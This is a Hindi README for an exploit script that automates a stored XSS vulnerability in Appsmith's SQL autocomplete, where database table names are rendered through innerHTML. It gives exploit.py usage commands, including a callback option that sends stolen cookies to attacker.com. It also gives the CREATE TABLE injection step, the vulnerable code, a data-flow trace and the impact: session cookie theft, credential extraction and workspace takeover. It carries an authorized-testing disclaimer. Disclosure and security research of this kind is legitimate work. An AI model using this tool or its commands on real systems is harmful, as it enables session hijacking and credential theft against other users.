
CVE-2026-7299 के शोषण को स्वचालित करना - Appsmith के अंदर SQL ऑटोकम्प्लीट में डेटाबेस तालिका/स्तंभ नामों के माध्यम से संग्रहीत XSS =>1.99. प्रारंभिक खोज 30/03/26
Appsmith के SQL क्वेरी एडिटर में संग्रहित क्रॉस-साइट स्क्रिप्टिंग भेद्यता का स्वचालित शोषण। एक वर्कस्पेस डेवलपर डेटाबेस तालिका नामों के माध्यम से मनमाना जावास्क्रिप्ट इंजेक्ट कर सकता है जो किसी अन्य वर्कस्पेस सदस्य के ब्राउज़र में तब निष्पादित होता है जब SQL ऑटोकम्प्लीट ट्रिगर होता है।
Appsmith v1.98 पर पुष्टि की गई और संभावित रूप से सभी पिछले संस्करणों को प्रभावित करता है जहाँ कस्टम SQL संकेत रेंडरर मौजूद है। भेद्यता hintHelpers.ts:165 में मौजूद है जहाँ CodeMirror का सुरक्षित डिफ़ॉल्ट संकेत रेंडरिंग (textContent) को एक कस्टम render कॉलबैक द्वारा ओवरराइड किया जाता है जो डेटाबेस तालिका और स्तंभ नामों को बिना किसी स्वच्छता (sanitisation) के प्रदर्शित करने के लिए innerHTML का उपयोग करता है।
मूल अलर्ट PoC:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
कुकीज को कॉलबैक सर्वर पर चुराना:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
कस्टम पेलोड:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
यदि कोई PostgreSQL डेटासोर्स पहले से मौजूद नहीं है, तो स्क्रिप्ट स्वचालित रूप से कनेक्शन खोज लेगी या आप क्रेडेंशियल प्रदान कर सकते हैं:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres
https://www.youtube.com/watch?v=1RHBYZ2Bp_A
Appsmith एक ओपन-सोर्स लो-कोड प्लेटफॉर्म है जहाँ टीमें डेटासोर्स कनेक्ट करके और क्वेरी लिखकर आंतरिक उपकरण बनाती हैं। SQL क्वेरी एडिटर ऑटोकम्प्लीट सुझाव प्रदान करता है जो कनेक्टेड डेटाबेस की तालिका और स्तंभ मेटाडेटा से भरे होते हैं।
hintHelpers.ts में ऑटोकम्प्लीट रेंडरिंग एक कस्टम CodeMirror render कॉलबैक का उपयोग करती है:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- अस्वच्छित तालिका/स्तंभ नाम
};
CodeMirror 5 का डिफ़ॉल्ट संकेत रेंडरिंग textContent (सुरक्षित) का उपयोग करता है। Appsmith इसे कस्टम CSS क्लासेस और आइकन विशेषताओं को स्टाइलिंग के लिए जोड़ने हेतु innerHTML से ओवरराइड करता है, लेकिन वास्तविक पाठ्य सामग्री (तालिका का नाम) कच्चे HTML के रूप में असाइन की जाती है। डेटाबेस कैटलॉग से DOM रेंडरिंग तक 8-चरणीय डेटा प्रवाह में किसी भी बिंदु पर कोई स्वच्छता मौजूद नहीं है।
पूरा हमला Appsmith वेब UI के माध्यम से किया जाता है।
हमलावर (एक वर्कस्पेस डेवलपर) XSS पेलोड के साथ तालिका नाम के रूप में एक CREATE TABLE स्टेटमेंट चलाता है। Appsmith का PostgresPlugin कोई DDL फ़िल्टरिंग नहीं करता, statement.execute(query) DDL सहित किसी भी मान्य SQL को स्वीकार करता है।
CREATE TABLE "" (id serial primary key);
कोई अन्य वर्कस्पेस सदस्य उसी डेटासोर्स के लिए SQL क्वेरी एडिटर खोलता है और एक क्वेरी टाइप करना शुरू करता है। ऑटोकम्प्लीट ड्रॉपडाउन डेटाबेस मेटाडेटा से लिए गए तालिका नाम सुझावों के साथ प्रकट होता है। दुर्भावनापूर्ण तालिका का नाम innerHTML के माध्यम से रेंडर किया जाता है, जो पीड़ित के ब्राउज़र सत्र में जावास्क्रिप्ट पेलोड को निष्पादित करता है।
XSS पीड़ित के सत्र के साथ Appsmith एप्लिकेशन संदर्भ में चलता है। एक हमलावर सत्र कुकीज (XSRF-TOKEN, SESSION) चुरा सकता है, डेटासोर्स क्रेडेंशियल्स बाहर निकाल सकता है, या पीड़ित के रूप में API कॉल कर सकता है। यदि पीड़ित एक प्रशासक है, तो हमलावर पूर्ण वर्कस्पेस नियंत्रण तक बढ़ जाता है।
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [कोई स्वच्छता नहीं]
-> DatasourceStructure Java POJO [कोई स्वच्छता नहीं]
-> REST API /api/v1/datasources/{id}/structure [कोई स्वच्छता नहीं]
-> Redux state.entities.datasources [कोई स्वच्छता नहीं]
-> getAllDatasourceTableKeys selector [कोई स्वच्छता नहीं]
-> SqlHintHelper.setDatasourceTableKeys() [कोई स्वच्छता नहीं]
-> CodeMirror hint.sql() completions [कोई स्वच्छता नहीं]
-> LiElement.innerHTML = text [XSS]
कहीं भी स्वच्छता मौजूद नहीं है, जो ऑटोकम्प्लीट रेंडरर द्वारा कॉल किए जाने पर पेलोड को DOM में innerHTML के माध्यम से फायर कर देता है।
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। केवल उन प्रणालियों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। मैं इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदारी नहीं लेता।
हैप्पी हैकिंग!